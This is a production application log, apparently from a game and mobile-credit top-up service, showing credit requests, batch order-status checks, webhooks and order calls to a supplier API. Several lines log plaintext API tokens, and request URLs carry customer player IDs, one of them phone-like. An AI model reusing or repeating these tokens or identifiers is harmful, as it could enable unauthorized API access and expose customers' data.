[2026-03-24 20:25:53] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"4.0","mainamount":"4","operation_number":"158688820","note":"بدون ملاحظه","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpqkk32ebd5rj895IggeO"}},"user_id":1759} 
[2026-03-24 20:25:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:25:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:25:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:25:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:25:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:25:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:25:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:25:54] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:25:54] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18701,"user_id":1759,"amount":4.0,"admins_notified":7} 
[2026-03-24 20:26:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03"} 
[2026-03-24 20:26:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","total_operations":9,"sites_count":2} 
[2026-03-24 20:26:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-yYayI8Ak-1774372877","ORD-6OE4j-1774372996","ORD-4QwLl-1774373069","ORD-gHpO-1774373087","ORD-BfmUff-1774373133"]} 
[2026-03-24 20:26:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:26:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 20:26:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:26:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":4,"skipped":1,"updates_prepared":4} 
[2026-03-24 20:26:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"total_items":4,"chunks":1,"chunk_size":10} 
[2026-03-24 20:26:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"count":4} 
[2026-03-24 20:26:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"count":4} 
[2026-03-24 20:26:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"user_id":1712,"notification_type":"order_approved","reference_id":179323} 
[2026-03-24 20:26:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"user_id":1712,"notification_type":"order_approved","reference_id":179319} 
[2026-03-24 20:26:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"user_id":645,"notification_type":"order_approved","reference_id":179327} 
[2026-03-24 20:26:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"user_id":619,"notification_type":"order_approved","reference_id":179324} 
[2026-03-24 20:26:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"chunk_number":1,"processed":4,"errors":0,"total_operations":4,"total_orders":4,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:26:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"total_processed":4,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:26:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":4,"errors":0} 
[2026-03-24 20:26:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":4,"errors":0} 
[2026-03-24 20:26:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"orders_count":4,"order_ids":["ORD-Eaq-1774373060","ORD-zm0-1774373064","ORD-1v1-1774373068","ORD-vutyo-1774373097"]} 
[2026-03-24 20:26:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:26:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"orders_count":4} 
[2026-03-24 20:26:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"processed":4,"skipped":0,"updates_prepared":4} 
[2026-03-24 20:26:04] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"total_items":4,"chunks":1,"chunk_size":10} 
[2026-03-24 20:26:04] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"count":4} 
[2026-03-24 20:26:04] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"count":4} 
[2026-03-24 20:26:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"user_id":1074,"notification_type":"order_approved","reference_id":179322} 
[2026-03-24 20:26:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"user_id":1056,"notification_type":"order_approved","reference_id":179320} 
[2026-03-24 20:26:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"user_id":1056,"notification_type":"order_approved","reference_id":179325} 
[2026-03-24 20:26:04] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"user_id":1074,"notification_type":"order_approved","reference_id":179321} 
[2026-03-24 20:26:04] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"chunk_number":1,"processed":4,"errors":0,"total_operations":4,"total_orders":4,"total_codes":0,"total_refunds":0} 
[2026-03-24 20:26:04] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"total_processed":4,"total_errors":0,"chunks_processed":1} 
[2026-03-24 20:26:04] production.INFO: Batch update completed {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"processed":4,"errors":0} 
[2026-03-24 20:26:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199,"processed":4,"errors":0} 
[2026-03-24 20:26:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"6hP8NqCIOXf40OtaZdoDVEXNAGmkZseG","execution_time":"2026-03-24 20:26:04","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-zm0-1774373064","operation_id":164199} 
[2026-03-24 20:26:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1712  
[2026-03-24 20:26:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1712  
[2026-03-24 20:26:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 645  
[2026-03-24 20:26:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 619  
[2026-03-24 20:26:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 20:26:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 20:26:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1056  
[2026-03-24 20:26:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1074  
[2026-03-24 20:26:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-BfmUff-1774373133","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:26:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-BfmUff-1774373133","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:26:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:26:04] production.ERROR: Order not found or already processed. External ID: ORD-BfmUff-1774373133  
[2026-03-24 20:26:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-BfmUff-1774373133","status":"completed","codes_count":0} 
[2026-03-24 20:26:04] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gHpO-1774373087","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 20:26:04] production.INFO: Processed webhook data (normalized) {"id":"ORD-gHpO-1774373087","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 20:26:04] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 20:26:04] production.ERROR: Order not found or already processed. External ID: ORD-gHpO-1774373087  
[2026-03-24 20:26:04] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gHpO-1774373087","status":"completed","codes_count":0} 
[2026-03-24 20:26:50] production.INFO: Constructing job for order: 179328  
[2026-03-24 20:26:52] production.INFO: Handling job for order: 179328  
[2026-03-24 20:26:52] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:26:52] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:26:52] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/628/params?qty=12000&uuid=c2c71211-a35f-4e01-87d0-b8e3249a9d02&Player_ID=23664518  
[2026-03-24 20:26:52] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/628/params?qty=12000&uuid=c2c71211-a35f-4e01-87d0-b8e3249a9d02&Player_ID=23664518","has_body":false} 
[2026-03-24 20:26:53] production.INFO: Operation sent successfully {"operation_id":164206,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Nyf-1774373213","amount":5.945007600000000280715539702214300632476806640625,"status":"processing","product":"Hiyoo Amount","game":"Hiyoo","notes":[],"created_at":"2026-03-24 20:26:53"}},"processed_data":{"order_number":"ORD-Nyf-1774373213","amount":5.945007600000000280715539702214300632476806640625,"status":"processing","product":"Hiyoo Amount","game":"Hiyoo"}} 
[2026-03-24 20:26:54] production.INFO: Constructing job for order: 179329  
[2026-03-24 20:26:56] production.INFO: Handling job for order: 179329  
[2026-03-24 20:26:56] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:26:56] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:26:56] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/42/params?qty=1&uuid=876a6019-2fec-4a83-b590-d34495b19749&Player_ID=0982568778  
[2026-03-24 20:26:56] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/42/params?qty=1&uuid=876a6019-2fec-4a83-b590-d34495b19749&Player_ID=0982568778","has_body":false} 
[2026-03-24 20:26:57] production.INFO: Operation sent successfully {"operation_id":164207,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cuMTKCf-1774373216","amount":101.47539000000000442014425061643123626708984375,"status":"processing","product":"96.15 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:26:57"}},"processed_data":{"order_number":"ORD-cuMTKCf-1774373216","amount":101.47539000000000442014425061643123626708984375,"status":"processing","product":"96.15 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:27:07] production.INFO: Constructing job for order: 179330  
[2026-03-24 20:27:09] production.INFO: Handling job for order: 179330  
[2026-03-24 20:27:09] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 20:27:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:27:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/28/params?qty=1&uuid=463a3d26-64db-4a7b-a99b-b8bd6b9591fb&Player_ID=0982568778  
[2026-03-24 20:27:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/28/params?qty=1&uuid=463a3d26-64db-4a7b-a99b-b8bd6b9591fb&Player_ID=0982568778","has_body":false} 
[2026-03-24 20:27:09] production.INFO: Operation sent successfully {"operation_id":164208,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-HBRCl-1774373229","amount":5.07528000000000023561597117804922163486480712890625,"status":"processing","product":"4.81 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 20:27:09"}},"processed_data":{"order_number":"ORD-HBRCl-1774373229","amount":5.07528000000000023561597117804922163486480712890625,"status":"processing","product":"4.81 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 20:27:31] production.INFO: Constructing job for order: 179331  
[2026-03-24 20:27:32] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"500.0","mainamount":"500","operation_number":"158697229","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpduh446790f9aeUIRGYu"}},"user_id":212} 
[2026-03-24 20:27:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 20:27:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 20:27:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 20:27:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 20:27:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 20:27:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 20:27:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 20:27:33] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 20:27:33] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18702,"user_id":212,"amount":500.0,"admins_notified":7} 
[2026-03-24 20:27:33] production.INFO: Handling job for order: 179331  
[2026-03-24 20:27:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:27:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:27:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=16000&uuid=10de8c73-e5f8-4252-9d85-4cd3047ba650&Player_ID=589084795  
[2026-03-24 20:27:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=16000&uuid=10de8c73-e5f8-4252-9d85-4cd3047ba650&Player_ID=589084795","has_body":false} 
[2026-03-24 20:27:34] production.INFO: Operation sent successfully {"operation_id":164209,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-T02k-1774373254","amount":1.6128080000000000193693949768203310668468475341796875,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 20:27:34"}},"processed_data":{"order_number":"ORD-T02k-1774373254","amount":1.6128080000000000193693949768203310668468475341796875,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 20:27:37] production.INFO: Constructing job for order: 179332  
[2026-03-24 20:27:40] production.INFO: Handling job for order: 179332  
[2026-03-24 20:27:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 20:27:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 20:27:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=139b8d8c-d8e0-4769-a256-2d471644e842&Player_ID=22519585  
[2026-03-24 20:27:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=1000&uuid=139b8d8c-d8e0-4769-a256-2d471644e842&Player_ID=22519585","has_body":false} 
[2026-03-24 20:27:41] production.INFO: Operation sent successfully {"operation_id":164210,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-eh5bzhia-1774373261","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 20:27:41"}},"processed_data":{"order_number":"ORD-eh5bzhia-1774373261","amount":1.71667229999999992884340827004052698612213134765625,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 20:28:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02"} 
[2026-03-24 20:28:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","total_operations":6,"sites_count":2} 
[2026-03-24 20:28:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":3,"site_name":"swgamessd","orders_count":4,"order_ids":["ORD-yYayI8Ak-1774372877","ORD-Nyf-1774373213","ORD-T02k-1774373254","ORD-eh5bzhia-1774373261"]} 
[2026-03-24 20:28:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 20:28:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":4} 
[2026-03-24 20:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-eh5bzhia-1774373261","operation_id":164210} 
[2026-03-24 20:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Nyf-1774373213","operation_id":164206} 
[2026-03-24 20:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-T02k-1774373254","operation_id":164209} 
[2026-03-24 20:28:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:28:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":0,"skipped":4,"updates_prepared":0} 
[2026-03-24 20:28:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"processed":0,"errors":0} 
[2026-03-24 20:28:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"orders_count":2,"order_ids":["ORD-cuMTKCf-1774373216","ORD-HBRCl-1774373229"]} 
[2026-03-24 20:28:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196} 
[2026-03-24 20:28:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-yYayI8Ak-1774372877","operation_id":164196,"orders_count":2} 
[2026-03-24 20:28:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HBRCl-1774373229","operation_id":164208,"processed":2,"skipped":0,"updates_prepared":2} 
[2026-03-24 20:28:03] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HBRCl-1774373229","operation_id":164208,"total_items":2,"chunks":1,"chunk_size":10} 
[2026-03-24 20:28:03] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HBRCl-1774373229","operation_id":164208,"count":2} 
[2026-03-24 20:28:03] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"j2qAKcbrQl13a3Hn3mmcpURsHbb4aSKl","execution_time":"2026-03-24 20:28:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HBRCl-1774373229","operation_id":164208,"count":2} 
